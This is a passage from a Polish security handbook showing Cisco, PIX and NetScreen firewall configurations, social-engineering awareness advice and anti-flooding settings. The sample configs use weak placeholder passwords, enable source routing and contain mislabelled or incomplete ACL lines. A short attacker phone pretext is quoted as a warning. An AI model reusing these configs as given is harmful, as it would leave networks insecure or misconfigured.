! Opcja 2: U

ż

ycie interfejsu WAN do dynamicznej translacji

ź

ródła

no ip name-server
!
ip subnet-zero
no ip domain-lookup
no proxy arp
ip routing
!
! Kontrola dost

ę

pu w oparciu o kontekst

!
no ip inspect audit-trail
ip inspect tcp synwait-time 30
ip inspect tcp finwait-time 5
ip inspect tcp idle-time 3600
ip inspect udp idle-time 30
ip inspect dns-timeout 5
ip inspect one-minute low 900
ip inspect one-minute high 1100
ip inspect max-incomplete low 900
ip inspect max-incomplete high 1100
ip inspect tcp max-incomplete host 50 block-time 0
!
! IP inspect Ethernet_0_0
!
no ip inspect name Ethernet_0_0
ip inspect name Ethernet_0_0 ftp
ip inspect name Ethernet_0_0 http java-list 99
ip inspect name Ethernet_0_0 tcp
ip inspect name Ethernet_0_0 realaudio
ip inspect name Ethernet_0_0 smtp
ip inspect name Ethernet_0_0 udp
!
interface Ethernet 0/0
no shutdown
description connected to EthernetLAN
ip address 172.29.44.1 255.255.0.0
ip nat inside
ip inspect Ethernet_0_0 in
ip access-group 100 in
keepalive 10
!
interface Ethernet 0/1
no description
no ip address
ip nat inside
shutdown
!
interface Serial 0/0
no shutdown
description connected to Internet
service-module t1 clock source line
service-module t1 data-coding normal
service-module t1 remote-loopback full
service-module t1 framing esf
service-module t1 linecode b8zs

background image


Rozdział 1.

Zabezpieczanie portów i usług

157

157

service-module t1 lbo none
service-module t1 remote-alarm-enable
ip address 206.0.139.70 255.255.255.128
ip nat outside
ip access-group 101 in
encapsulation hdlc
!
!Lista kontroli dost

ę

pu ACL 1

!
no access-list 1
access-list 1 permit 172.29.0.0 0.0.255.255
access-list 1 permit 172.20.44.0 0.0.0.3
access-list 1 permit 172.18.0.0 0.0.255.255
!
!Lista kontroli dost

ę

pu ACL 99

!
no access-list 99
access-list 99 deny any
!
!Lista kontroli dost

ę

pu ACL 100

!
no access-list 100
access-list 100 permit udp any eq rip any eq rip
access-list 100 permit tcp any any range 20 21
access-list 100 permit tcp any any eq 80
access-list 100 permit tcp any any eq 144
access-list 100 permit tcp any any eq 7070
access-list 100 permit tcp any any eq 25
access-list 100 permit udp any any eq domain
!
!Lista kontroli dost

ę

pu ACL 101

!
no access-list 101
access-list 101 deny ip any any
!
! Dynamiczny NAT
!
ip nat translation timeout 86400
ip nat translation tcp-timeout 86400
ip nat translation udp-timeout 300
ip nat translation dns-timeout 60
ip nat translation finrst-timeout 60
ip nat inside source list 1 interface Serial 0/0 overload
!
router rip
version 2
network 172.29.0.0
passive-interface Serial 0/0
no auto-summary
!
!
ip classless
!
! Trasy statycznych adresów IP
ip route 0.0.0.0 0.0.0.0 Serial 0/0
no ip http server
snmp-server community xyzincnet1 RO

background image


158

Hack Wars. Tom 2. Na tropie hakerów

158

Firewall Cisco PIX

Kolejna przykładowa konfiguracja odnosi się do firewalla PIX, który został dodany
na zewnątrz korporacyjnej sieci LAN i wewnątrz głównego routera internetowego
(zobacz rysunek 1.52).

ip address outside 206.1.139.1
ip address inside 172.29.44.1
global 1 206.1.139.10-206.1.139.250
nat 1 172.0.0.0
mailhost 206.0.139.72 172.20.44.2

Router Intel Express

W przypadku routera Intel Express filtry IP są definiowane dla poszczególnych łączy,
oddzielnie dla transmisji i odbioru. Aby zabezpieczyć sieć LAN przed nieautoryzo-
wanym dostępem, wykonaj poniższe czynności.

1.

Na ekranie Advanved ustaw dla łącza IP parametr Filtering na Enabled.

2.

Na ekranie Advanved wybierz dla łącza IP Rx Filters, aby zdefiniować filtry
odbioru. Takie filtry przekazują lub odrzucają przychodzący ruch z łącza.

3.

Ustaw Default Action na Discard, aby odrzucić wszystkie dane z tego łącza,
które nie mogą być przepuszczone przez konkretne filtry, lub ustaw Pass, aby
przepuścić wszystkie pakiety z wyjątkiem tych, które zostaną odrzucone przez
konkretne filtry.

4.

Ustaw parametr Logging na Enabled, aby przetestować działanie filtrów
(normalnie ten parametr jest ustawiony na Disabled w celu minimalizacji
nakładów na zewnętrzną obróbkę). Po włączeniu w dzienniku System Log
routera będą zapisywane szczegóły wszystkich pakietów, które zostały
odrzucone przez domyślne działanie filtrów.

5.

Dodaj i skonfiguruj filtry IP wymagane przez Twoją instalację. Użyj Add, aby
dołączyć nowy filtr po zaznaczonym filtrze, Insert, aby dodać nowy filtr przed
zaznaczonym filtrem, lub Setup w celu edycji zaznaczonego filtru.

Proszę zauważyć, iż kolejność definiowania filtrów ma znaczenie. Pierwszy odnoszący
się do pakietu filtr na liście spowoduje jego odfiltrowanie.

Firewall NetScreen

Przykładowa konfiguracja przedstawiona na rysunku 1.53 odnosi się do firewalla Net-
Screen
, który został dodany na zewnątrz korporacyjnej sieci LAN i wewnątrz głównego
routera internetowego (zobacz rysunek 1.52).

background image


Rozdział 1.

Zabezpieczanie portów i usług

159

159

Rysunek 1.53.
Scenariusz
konfiguracji firewalla
NetScreen

Inżynieria społeczna

W opinii publicznej hakerzy działają w ukryciu, przeprowadzając zdalną penetrację
systemów komputerowych w środku nocy lub atakując z użyciem siły. Od pewnego
czasu już tak się nie dzieje. Chociaż wiele technik hakerskich nie zmieniło się przez lata,
do typowych strategii dołączyła inżynieria społeczna, często używana jako główny
ś

rodek ataku. Inżynieria społeczna to metoda zmuszenia legalnego użytkownika ata-

kowanej sieci do wyjawienia najważniejszych informacji, takich jak nazwa logowania
i hasło. Taki proces odegrał główną rolę w wielu, dobrze znanych publicznie, atakach ha-
kerskich. Niesławny haker Kevin Mitnick ujawnił, iż sprytna taktyka inżynierii spo-
łecznej leżała u podstaw jego wielu skutecznych penetracji, włączając w to głośny atak na
Sun Microsystems w latach 80. (Firma Sun Microsystems twierdziła, iż prawdopodobnie
skradziony przez Mitnicka kod źródłowy był warty około 80 milionów dolarów). Rów-
nież wiele uwieńczonych powodzeniem ataków, które zostały przedstawione w pierw-
szym tomie tej książki, opierało się o proste techniki inżynierii społecznej.

Nie ma żadnej wątpliwości, iż obecnie wszyscy użytkownicy powinni zdawać sobie
sprawę z typowych taktyk inżynierii społecznej, które są powszechnie używane.
Obejmuje to na przykład podszywanie się pod nowego użytkownika lub pracownika
technicznego. Pewnym minimum powinno być nauczenie pracowników przestrzega-
nia ogólnej zasady nieujawniania nikomu swojego hasła pod żadnym pozorem, chyba
iż mają pewność, że rozmawiają z zaufaną osobą. Dla przykładu, udając nowego
użytkownika, napastnik może zadzwonić pod główny numer telefonu firmy będącej
celem ataku, a następnie poprosić o przełączenie do działu informatyki lub grupy
wsparcia technicznego. Po nawiązaniu rozmowy z osobą tam pracującą haker może poin-
formować, iż jest nowym pracownikiem tymczasowym, któremu nakazano skontak-
towanie się właśnie z tym działem w celu przydzielenia tymczasowej nazwy użyt-
kownika i hasła. Dodatkowe badanie może jeszcze bardziej ułatwić ten proces, gdyż
haker może na przykład sprawdzić nazwisko dyrektora ds. marketingu, a następnie po-
informować administratora „Dzień dobry, nazywam się Jan Kowalski. Jestem nowym
pracownikiem tymczasowym Roberta Nowaka (dyrektora działu marketingu), który po-

background image


160

Hack Wars. Tom 2. Na tropie hakerów

160

wiedział mi, iż mam zadzwonić do pana w celu uzyskania tymczasowego hasła i nazwy
użytkownika”.

Udając z kolei pracownika działu technicznego, napastnik może poprosić o połączenie
z kimś z działu sprzedaży, komu następnie powie, iż Andrzej Malinowski, dyrektor
działu IT, nakazał mu skontaktowanie się ze wszystkimi użytkownikami danego dzia-
łu w celu weryfikacji informacji potrzebnych do zalogowania, ponieważ nowy serwer
ma zastąpić stary. Użytkowników należy również nauczyć, iż nie należy wyrzucać
ż

adnych informacji, które mogą stanowić jakąś wartość dla hakerów. Mogą to być listy

kontaktowe, schematy organizacyjne, podręczniki, dyskietki, taśmy archiwizacyjne, dyski
twarde, a także ważne dane różnego rodzaju. Wszystkie nośniki magnetyczne powinny
być wykasowane, a niepotrzebne papiery muszą być pocięte w niszczarkach dokumen-
tów. Należy pamiętać również o zamykaniu pomieszczeń z okablowaniem oraz cen-
trów danych. Wszystkie urządzenia firmowe powinny być inwentaryzowane i spraw-
dzane regularnie. Gościom zawsze muszą towarzyszyć pracownicy firmy, którzy z
kolei powinni nosić w biurze karty identyfikacyjne.

W czasie swojego przemówienia na konferencji Access All Areas w 1997 roku Harl
powiedział, iż w sprawie zapobiegania atakom przez inżynierię społeczną, pierwszym
krokiem powinno być uczynienie bezpieczeństwa komputerów częścią zadań każdego
pracownika, niezależnie od tego, czy używają oni komputerów. Podobnie jak w życiu,
edukacja jest najlepszą metodą zapobiegania atakom hakerów przy użyciu inżynierii
społecznej. Należy wyjaśnić pracownikom znaczenie bezpieczeństwa komputerów,
a następnie przedstawić im szczegóły dotyczące sposobów, używanych przez hakerów
do manipulacji ludźmi w celu uzyskania informacji. Menedżerowie powinni po-
znać typy osobowości, które łatwiej przekonać do ujawnienia danych osobie z zewnątrz,
a następnie poświęcić im więcej czasu na edukację. Podsumowując, najlepszą obroną
jest atak — wszyscy pracownicy firmy powinny znać i zaangażować się w politykę
bezpieczeństwa. Niewielkim wysiłkiem można uzyskać znaczne zmniejszenie ryzyka.

background image


Rozdział 1.

Zabezpieczanie portów i usług

161

161

background image

161

Rozdział 2.

Mechanizmy ochrony
przed włamaniami

Jasne jest, iż jeśli nasze systemy komputerowe mają działać zgodnie z firmowymi lub
osobistymi zasadami bezpieczeństwa, to zawsze jakieś porty lub usługi będą do pewne-
go stopnia wrażliwe na ataki hakerów. Aby maksymalnie zredukować te słabości i za-
bezpieczyć się przed zdalną infiltracją, konieczne jest poznanie szczegółów pewnych
procedur, które powinny stać się częścią każdej polityki zabezpieczeń. Tego właśnie do-
tyczy drugi rozdział tej książki. W pierwszym omówiliśmy konkretne techniki, których
można użyć do uchronienia się przed atakami wykorzystującymi zarezerwowane
i ukryte porty oraz usługi. W tym poznasz kroki wymagane przy wprowadzaniu środ-
ków zabezpieczających, znane jako mechanizmy ochrony przed włamaniami. Jednym
zdaniem, są to techniki używane do zabezpieczenia systemu przed penetracją.

Zabezpieczanie przed penetracją

Ten rozdział może stanowić odpowiedź na pytania postawione w pierwszym tomie tej
książki, Hack wars. Na tropie hakerów, który przedstawia szczegółowe informacje doty-
czące różnego rodzaju prób penetracji systemu (włączając w to ataki polegające na: wy-
korzystaniu luk wykrytych w czasie zbierania informacji i skanowania lokalizacji, wywo-
łaniu ogólnego chaosu, uzyskaniu dostępu na prawach administratora, włamaniu się
i przejęciu kontroli nad komputerami, serwerami i urządzeniami sieciowymi, a także
wykorzystaniu potencjalnych dziur w zabezpieczeniach zarówno zdalnych, jak i lo-
kalnych). W tym rozdziale zademonstrujemy techniki pozwalające na zabezpieczenie
się przed takimi atakami. Poznamy metody ochrony przed programami wykorzystującym
tylne drzwi (backdoor), przepełnianiem (flooding), manipulacją dziennikami, bombar-
dowaniem pocztą (mail bombing), spamowaniem, łamaniem haseł, podszywaniem się
(spoofing), podsłuchiwaniem pakietów, wirusami oraz włamaniami na strony internetowe.
Przyjrzymy się także komercyjnym programom do tworzenia barier ochronnych, ręcznym
technikom zespołu Tiger Team, a także własnym sposobom zabezpieczania programów.

background image


162

Hack Wars. Tom 2. Na tropie hakerów

162

Niektóre środki ochronne przed typowymi atakami hakerów zostaną omówione bardziej
szczegółowo. Po przeczytaniu będziesz posiadał wystarczającą wiedzę w zakresie za-
bezpieczenia lokalnej i zdalnej komunikacji.

Ochrona przed programami
wykorzystuj
ącymi tylne drzwi

Rozdział rozpoczniemy od omówienia technik wykorzystujących do włamania tylne
drzwi. Jak już stwierdziliśmy w pierwszym tomie tej książki, takie programy składają
się z narzędzi używanych przez hakerów do uzyskania i utrzymania dostępu do sys-
temu, a także do ukrycia swoich śladów dostępu. A ponieważ lekarstwo na takie pró-
by włamania może również posłużyć do naprawienia wad różnych systemów operacyj-
nych, w tej części przedstawimy także bariery ochronne przeciwko programom
wykorzystującym tylne drzwi. Odnoszą się one do aktualnie wykorzystywanej archi-
tektury zabezpieczeń bramy, co obejmuje na przykład firewalle, filtry oraz proxy za-
równo proste, jak i zaawansowane.

Badanie naruszeń zabezpieczeń przez programy tego typu może być skomplikowanym
przedsięwzięciem i dlatego musi być dokładnie zaplanowanie. W czasie fazy projek-
towania zabezpieczeń należy rozważyć trzy często występujące schematy implemen-
tacji narzędzi wykorzystujących tylne drzwi. Mowa tu o wirtualnej kontroli połącze-
nia, wewnętrznych implantach oraz wewnętrznych i zewnętrznych słabościach.

Wirtualna kontrola połączenia

Telnet, usługa współpracująca z zarezerwowanym portem 23, działa na szczycie pro-
tokołu TCP/IP jako emulator terminala dla sesji logowania. Ogólną zasadą jest, iż, je-
ś

li to tylko możliwe, należy zablokować tę usługę przed zdalnym dostępem. Niestety,

często jest ona niezbędna do zarządzania lokalnego.

W rozdziale 1. opisano sposób wyłączenia oraz zabezpieczenia tej usługi w syste-
mach Windows i UNIX. W przypadku systemów sieciowych możesz dokonać kilku
prostych modyfikacji konfiguracji w celu zdalnego zablokowania dostępu przez Tel-
net, pozwalając na lokalne uwierzytelnianie. Zajrzyj do podręcznika obsługi danego
urządzenia, aby uzyskać informacje na temat procedury i aktualizacji. W tej części
przyjrzymy się dokładniej dwóm podstawowym aplikacjom.

Przykład 1: Filtry urządzeń dostępowych Cisco

W scenariuszu przedstawionym na rysunku 2.1 dwie sieci są rozdzielone przy użyciu
routerów filtrujących dostęp. Łącze WAN między nimi może symbolizować dowolne
medium komunikacyjne, takie jak łącze dzierżawione, xDSL, ISDN, połączenie ko-
mutowane itp. (interfejs WAN oczywiście zmieni się odpowiednio; dla przykładu, je-
ś

li używasz DSL, będzie to Ethernet 1, a jeśli korzystasz z ISDN, interfejs wskaże

BRI 0). Można zmienić również zdalną sieć w celu przedstawienia Internetu, sieci
klienta, sieci LAN dostawcy itp. Przyjrzyjmy się teraz konfiguracji sprzętowej, która
musi spełnić następujące wymagania:

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

163

163

Rysunek 2.1.
Typowy scenariusz
sieci WAN z routerami
filtruj
ącymi dostęp









lokalni użytkownicy mogą uzyskać dostęp do wszystkich usług w zdalnej sieci;









zdalni użytkownicy nie mogą korzystać z usług telnet i rtelnet w sieci lokalnej;









stosowane jest szyfrowanie haseł.

Konfiguracja lokalna

service password-encryption
no service tcp-small-servers
no service udp-small-servers
!
hostname Local
!
enable password 7 password
!
ip source-route
no ip name-server
!
ip subnet-zero
no ip domain-lookup
ip routing
!
interface Ethernet 0
no shutdown
description connected to Ethernet LAN
ip address 172.29.41.1 255.255.255.0
ip access-group 100 in
keepalive 10
!
interface Serial 0
no shutdown
description connected to Remote network
ip address 172.29.42.1 255.255.255.252
ip access-group 100 in
encapsulation hdlc
!
! Lista kontroli dost

ę

pu 100

!
access-list 100 deny ip 172.29.42.0 0.0.0.3 any
access-list 100 deny ip 172.29.43.0 0.0.0.255 any

background image


164

Hack Wars. Tom 2. Na tropie hakerów

164

access-list 100 permit udp any eq rip any eq rip
access-list 100 permit tcp any any established
access-list 100 permit ip any 172.29.42.0 0.0.0.3
access-list 100 permit ip any 172.29.43.0 0.0.0.255
!
! Lista kontroli dost

ę

pu 101

!
access-list 100 deny ip 172.29.41.0 0.0.0.255 any
access-list 100 permit udp any eq rip any eq rip
access-list 100 permit tcp any any established
access-list 100 deny tcp 172.29.41.0 0.0.0.255 eq 23
access-list 100 deny tcp 172.29.41.0 0.0.0.255 eq 107
access-list 100 permit ip any 172.29.41.0 0.0.0.255
!
router rip
version 2
network 172.29.0.0
no auto-summary
!
!
ip classless
no ip http server
snmp-server community local RO
no snmp-server location
no snmp-server contact
!
line console 0
exec-timeout 0 0
password 7 123
login
!
line vty 0 4
password 7 password
login

Konfiguracja zdalna

service password-encryption
no service tcp-small-servers
no service udp-small-servers
!
hostname Remote
!
enable password password
!
no ip name-server
!
ip subnet-zero
no ip domain-lookup
ip routing
!
interface Ethernet 0
no shutdown
description connected to Ethernet LAN
ip address 172.29.43.1 255.255.255.0
keepalive 10
!
interface Serial 0
no shutdown
description connected to Local network
ip address 172.29.42.2 255.255.255.252

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

165

165

encapsulation hdlc
!
router rip
version 2
network 172.29.0.0
no auto-summary
!
!
ip classless
no ip http server
snmp-server community local RO
no snmp-server location
no snmp-server contact
!
line console 0
exec-timeout 0 0
password 123
login
!
line vty 0 4
password password
login

Przykład 2: Firewall NetScreen

Do scenariusza przedstawionego na rysunku 2.1 w tym przykładzie dodamy firewall Net-
Screen
między lokalnym routerem a siecią LAN. Głównym celem tego firewalla jest
ochrona sieci lokalnej przed atakami hakerów, choć w tym przykładzie skoncentrujemy
się na wyłączeniu Telnetu dla użytkowników z zewnątrz. Na szczęście, dzięki zdobywają-
cemu nagrody interfejsowi konfiguracji NetScreen ta modyfikacja będzie bardzo prosta.

Będąc w głównym interfejsie, wybierz Configure z opcji menu System po lewej stronie.
Teraz w zakładce Interface na górze głównej ramki odnajdź opcję Untrust Interface
i anuluj zaznaczenie Telnet, tak jak pokazano to na rysunku 2.2.

Wewnętrzne implanty

Wewnętrzne implanty występują dość często i są wysoce niebezpieczne. Takie im-
planty są instalowane w wewnętrznej sieci przez zaufanego użytkownika, technika
lub osobę, na którą podziałano przy użyciu inżynierii społecznej. Jest to zwykle ktoś,
kto ma osobiste zastrzeżenia do firmy lub współpracownik hakera nie posiadającego
dostępu do sieci wewnętrznej.

Nie trzeba być osobą ze zmysłem technicznym, aby zdać sobie sprawę, iż ten typ za-
grożenia wymaga wprowadzenia polityki zabezpieczeń, która obejmuje blokowanie
dostępu do centrów danych, kamery, a także dzienniki modyfikacji zawierające in-
formacje o dostępie do systemu. Każdy serwer, router i firewall powinien mieć włączoną

background image


166

Hack Wars. Tom 2. Na tropie hakerów

166

Rysunek 2.2.
Wyłączanie funkcji
Telnet w interfejsie
u
żytkownika
NetScreen

funkcję zapisywania regularnie archiwizowanych dzienników (obejmuje to również ta-
ś

my z kamer). Komercyjne programy, które zawierają standardowe mechanizmy two-

rzenia dzienników, powinny być używane nie tylko do badania działania funkcji, ale
także do zbierania dowodów na aktywność zespołów hakerskich. Wszyscy goście, ze-
wnętrzni konsultanci i dostawcy powinni wchodzić do biura tylko w towarzystwie auto-
ryzowanych pracowników i przez cały czas nosić plakietki identyfikujące.

Wewnętrzne i zewnętrzne słabości

Jeśli sieć oferuje zdalne usługi ze strefy zdemilitaryzowanej lub za pomocą bezpiecz-
nego połączenia przez firewall (do wewnętrznej sieci LAN) na zewnątrz sieci we-
wnętrznej, niektóre usługi mogą być podatne na implementację narzędzi wykorzystu-
jących tylne drzwi. Jest to zwykle możliwe po skutecznej penetracji w czasie ataku
wstępnego, takiego jak próba przepełnienia bufora czy portu.

Większość systemów zabezpieczeń jest uważana za nieadekwatne, co oznacza, iż ha-
ker może co najmniej spowodować przepełnienie bufora lub portu. Aby zabezpieczyć
się przed takimi próbami wstępnego ataku, uprościłem szczegółowe techniki Tiger
Team
do postaci listy czynności do wykonania. Bardzo ważne jest wykonanie in-
strukcji przedstawionych w kolejnych sekcjach rozdziału i potraktowanie ich jako
niezbędnej polityki zabezpieczającej przed zablokowaniem systemu. Prawdę mówiąc,
każdy krok przedstawiony w poszczególnych rozdziałach tej książki powinien stać się
częścią takiej niezbędnej procedury.

Ochrona przed cookies

W czasie przeglądania Internetu, niezależnie od wykonywanych czynności i odwiedza-
nych stron, prawie każdy może śledzić Twoje ruchy, zbierając osobiste informacje
o Tobie. Taki wyciek ważnych informacji jest możliwy dzięki cookies. Zgodnie z wcze-
ś

niejszymi informacjami wiemy, że cookie to mały plik, który zawiera dane wukorzy-

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

167

167

stywane przez przeglądarki internetowe. Dowiedzieliśmy się także, jak możemy wyłą-
czyć cookies, modyfikując ustawienia zabezpieczeń przeglądarki. Taki drastyczny krok
może jednak nie spotkać się z pozytywnym przyjęciem, ponieważ niektóre strony pró-
bują dokonać personalizacji naszych wizyt, pamiętając nasze imiona, rekomendując
produkty i śledząc nasze konta. Alternatywą w takiej sytuacji może być zastosowanie
menedżera cookies.

Menedżerzy cookies to narzędzia, które monitorują i przechwytują niepożądaną komu-
nikację cookies w tle. W czasie przeglądania Internetu, kiedy witryna próbuje użyć co-
okies do zebrania danych demograficznych, śledzić sposób wykorzystania strony lub
zebrać dane osobiste, sprytny menedżer przechwyci takie cookies i zapyta nas o sposób
postępowania. Dobry menedżer potrafi również wykryć programy lokalne, które próbu-
ją uzyskać dostęp do Internetu z naszego komputera.

Aby jeszcze bardziej zadbać o swoją prywatność, pamiętaj o zastosowaniu dobrego me-
nedżera cookies, najlepiej takiego, który oferuje funkcję usuwania już istniejących. Mo-
ż

esz wybrać jeden z poniższych programów:









McAfee Internet Security 4.0 (www.mcafee-at-home.com),









Limit Software Cookie Crusher 2.6 (www.thelimitsoft.com),









Kookaburra Software Cookie Pal (www.kburra.com),









Idcide Privacy Wall (www.idcide.com).

Ochrona przed przepełnieniem

W pierwszym tomie tej książki przedstawiliśmy wiele typowych odmian ataków przy
użyciu przepełniania, włączając w to techniki TCP, UDP i ICMP oraz przepełnianie
portów zarezerwowanych i sieci. Znalazła się tam także demonstracja sposobu, w jaki
napastnik może spowodować w zaatakowanych urządzeniach poważne przeciążenie
sieci, a w niektórych przypadkach nawet odmowę świadczenia usług. Całe sieci zosta-
ły „rzucone na kolana” przez przepełnienie w czasie rozgłaszania danych. Odpowie-
dzią jest ta część opisująca środki ochronne przed tymi typowymi zagrożeniami;
omówiony tu zostanie sposób postępowania dla serwerów, stacji roboczych i urzą-
dzeń sieciowych. Rozpoczniemy od zademonstrowania sposobów zabezpieczeń stacji
roboczych, następnie przejdziemy do serwerów i zakończymy na urządzeniach sie-
ciowych.

Jeśli nie masz własnej karty sieciowej lub wirtualnego demona, być może nie będziesz
miał dostępu do opcji konfiguracji chroniących przed przepełnieniem TCP, UDP i ICMP.
W takiej sytuacji należy uzyskać odpowiednie oprogramowanie zabezpieczające, takie
jak firewalle czy narzędzia typu BlackICE Defender (w części 1. tej książki przedsta-
wiono wiele zestawów oprogramowania, które udostępniają zabezpieczenia przed tech-
nikami przepełniania). Przykład takiego programu znajduje się na rysunku 2.3; przyjrzyj
się, jak BlackICE można skonfigurować na różnych poziomach zabezpieczenia przed
niepożądanym ruchem.

background image


168

Hack Wars. Tom 2. Na tropie hakerów

168

Rysunek 2.3.
Konfiguracja
narz
ędzia BlackICE
zapewniaj
ąca
ochron
ę przed
niepo
żądanym
ruchem

Zwykle takie narzędzie jest ustawione na poziom zabezpieczeń, który automatycznie
chroni poszczególne stacje robocze przed przepełnieniem. Uruchomiona jest również
funkcja zapisywania wszystkich działań w dzienniku. Rysunek 2.4 przedstawia funk-
cję wykrywania i zabezpieczania przed przepełnieniem ICMP wraz z opcją dodania
hakera do listy zablokowanych adresów.

Rysunek 2.4.
Ochrona
i zabezpieczenie
przed przepełnieniem
ICMP

Ten sam typ narzędzi może być wykorzystany do zabezpieczenia pojedynczych ser-
werów, ale mimo to omówimy najpopularniejsze metody ochrony usług oferowanych
przez serwery.

Należy pamiętać o przestrzeganiu ogólnej zasady, mówiącej o instalacji najnowszej wer-
sji systemu operacyjnego i wszystkich aktualizacji. Producenci oprogramowania dokła-
dają starań, aby przeciwdziałać nowym odmianom ataków hakerów. Należy także do-
brze zabezpieczyć zarezerwowane usługi portów, takie jak echo, chargen i telnet, dzięki
czemu istnieje szansa wyeliminowania wielu zdalnych napastników.

Aby wyłączyć te usługi w systemach Windows, musisz dokonać edycji rejestru syste-
mowego, uruchamiając narzędzie regedit.exe ze znaku zachęty Start|Uruchom. Wyszu-
kaj wpisy dla tych usług i ustaw ich wartość na

false

lub

0

. Po zakończeniu edycji zre-

startuj system i zweryfikuj wszystkie modyfikacje. Jeśli chcesz wyłączyć te usługi
w systemie UNIX, po prostu dokonaj edycji pliku /etc/inetd.conf i oznacz wpis usługi
jako komentarz. Następnie zrestartuj cały system lub tylko proces inetd. Więcej infor-
macji na temat tych procedur możesz znaleźć w rozdziale 1. Tak jak wspomniano w tym
rozdziale, jeśli masz wątpliwości dotyczące tych modyfikacji, możesz zajrzeć do dodat-
ku A, gdzie znajdują się informacje na temat różnych programów zabezpieczających.

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

169

169

TigerWatch pozwala na aktywne monitorowanie i blokowanie portów systemowych
i usług bez konieczności dokonywania zmian w rejestrze lub ręcznego wyłączania danej
usługi.

W przypadku gdy dana usługa jest wymagana przez firmowe lub osobiste zasady dzia-
łania, możesz w UNIX-ie włączyć funkcję wrap dla tej usługi lub ograniczyć liczbę
jednoczesnych połączeń z daną usługą. Ograniczająć liczbę odpowiedzi na zapytania
portu, możesz uniknąć przepełnienia, ponieważ serwer poświęci zasoby tylko na bez-
pieczną ilość otwartych sesji (patrz rysunek 2.5). Ta procedura jest szczególnie polecana
dla demonów typu Telnet, FTP i http. Nie należy również zapomnieć o wyłączeniu ba-
nerów usług oraz otwieraniu dostępnych sesji przy użyciu adresów IP lub zaszyfrowanego
uwierzytelniania.

Rysunek 2.5.
Ograniczanie zapytań
sesji usługi

Obecnie producenci sprzętu sieciowego dołączają do swoich urządzeń zaawansowane
moduły i aktualizacje zabezpieczające przed przepełnieniem. Zanim więc kupisz no-
wy sprzęt, wybierz urządzenie, które jest stabilne i nie znajduje się w fazie testowej
lub na początku produkcji. Inżynierowie zawsze kompilują nowsze wersje urządzeń
z prostszym interfejsem działania oraz mniej enigmatycznymi procedurami wiersza
poleceń. Dobrym przykładem mogą być tutaj routery Cisco z włączoną funkcją fire-
walla, które oferują zaawansowane opcje zabezpieczeń wymienione poniżej.









Global Timer Values (globalne wartości liczników). Te opcje determinują
okres czasu, jaki musi minąć dla różnych stanów połączeń, zanim połączenie
zostanie przerwane.



TCP connection timeout — czas oczekiwania na połączenie TCP, zanim
połączenie nie zostanie przerwane.



TCP FIN-wait timeout — czas oczekiwania na zakończenie połączenia
TCP, zanim połączenie nie zostanie przerwane.



TCP idle timeout — czas braku aktywności połączenia TCP, zanim
połączenie nie zostanie przerwane.



UDP idle timeout — czas braku aktywności połączenia UDP, zanim
połączenie nie zostanie przerwane.



DNS timeout — czas dozwolony na próbę połączenia z serwerem DNS,
zanim próba nie zostanie uznana za nieudaną.









DoS Attack Threshold (progi liczników ataków DoS). Te opcje ograniczają
liczbę półotwartych sesji DoS. Niezwykle wysoka liczba półotwartych sesji
DoS zarówno pod względem liczby całkowitej, jak i prędkości przyrostu
może świadczyć o próbie ataku DoS (odmowa usługi). Górne wartości

background image


170

Hack Wars. Tom 2. Na tropie hakerów

170

progów w tej grupie wskazują liczbę sesji, która wywołuje usunięcie
półotwartych sesji. Usuwanie takich sesji będzie trwało aż do momentu
osiągnięcia dolnej wartości odpowiedniego progu.



One-minute low threshold — liczba półotwartych sesji DoS w ciągu
ostatniej minuty, która powoduje przerwanie procesu usuwania sesji DoS.



One-minute high threshold — liczba półotwartych sesji DoS w ciągu
ostatniej minuty, która powoduje rozpoczęcie procesu usuwania sesji DoS.



Maximum incomplete session low threshold — całkowita liczba półotwartych
sesji DoS, która powoduje przerwanie procesu usuwania sesji DoS.



Maximum incomplete session high threshold — całkowita liczba
półotwartych sesji DoS, która powoduje rozpoczęcie procesu usuwania
sesji DoS.









TCP Maximum Incomplete Sessions per Host (maksymalna liczba
półotwartych sesji TCP dla hosta). Podaje maksymalną liczbę sesji, które
mogą być otwarte dla każdego hosta, zanim wywołane zostanie jakieś
działanie. To działanie jest zależne od wartości Blocking Time.









Blocking Time (czas blokowania). Jeśli włączona jest ta opcja, to po osiągnięciu
maksymalnej wartości TCP Maximum Incomplete Sessions per Host router
przestanie akceptować kolejne sesje, aż do momentu upływu czas podanego
przez tę opcję. Jeśli wyłączono tę funkcję, każda nowa sesja spowoduje
zamknięcie najstarszej sesji.

Przypomnij sobie scenariusz przedstawiony na rysunku 2.1 z działającym firewallem.
Zaawansowane opcje zabezpieczeń zmienią konfigurację uruchomionego routera lo-
kalnego w następujący sposób.

service password-encryption
no service tcp-small-servers
no service udp-small-servers
!
hostname Local
!
enable password 7 password
!
ip source-route
no ip name-server
!
ip subnet-zero
no ip domain-lookup
ip routing
!
! Kontrola dost

ę

pu w oparciu o kontekst

!
ip inspect tcp synwait-time 30
ip inspect tcp finwait-time 5
ip inspect tcp idle-time 3600
ip inspect udp idle-time 30
ip inspect dns-timeout 5
ip inspect one-minute low 900
ip inspect one-minute high 1100
ip inspect max-incomplete low 900

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

171

171

ip inspect max-incomplete high 1100
ip inspect tcp max-incomplete host 50 block-time 2
!
! IP inspect Ethernet_0
!
ip inspect name Ethernet_0 tcp
ip inspect name Ethernet_0 udp
ip inspect name Ethernet_0 cuseeme
ip inspect name Ethernet_0 ftp
ip inspect name Ethernet_0 h323
ip inspect name Ethernet_0 rcmd
ip inspect name Ethernet_0 realaudio
ip inspect name Ethernet_0 smtp
ip inspect name Ethernet_0 streamworks
ip inspect name Ethernet_0 vdolive
ip inspect name Ethernet_0 sqlnet
ip inspect name Ethernet_0 tftp
!
! IP inspect Serial_0
!
ip inspect name Serial_0 tcp
ip inspect name Serial_0 udp
ip inspect name Serial_0 cuseeme
ip inspect name Serial_0 ftp
ip inspect name Serial_0 h323
ip inspect name Serial_0 rcmd
ip inspect name Serial_0 realaudio
ip inspect name Serial_0 smtp
ip inspect name Serial_0 streamworks
ip inspect name Serial_0 vdolive
ip inspect name Serial_0 sqlnet
ip inspect name Serial_0 tftp
!
interface Ethernet 0
no shutdown
description connected to Ethernet LAN
ip address 172.29.41.1 255.255.255.0
ip inspect Ethernet_0 in
ip access-group 100 in
keepalive 10
!
interface Serial 0
no shutdown
description connected to Remote network
ip address 172.29.42.1 255.255.255.252
ip inspect Serial_0 in
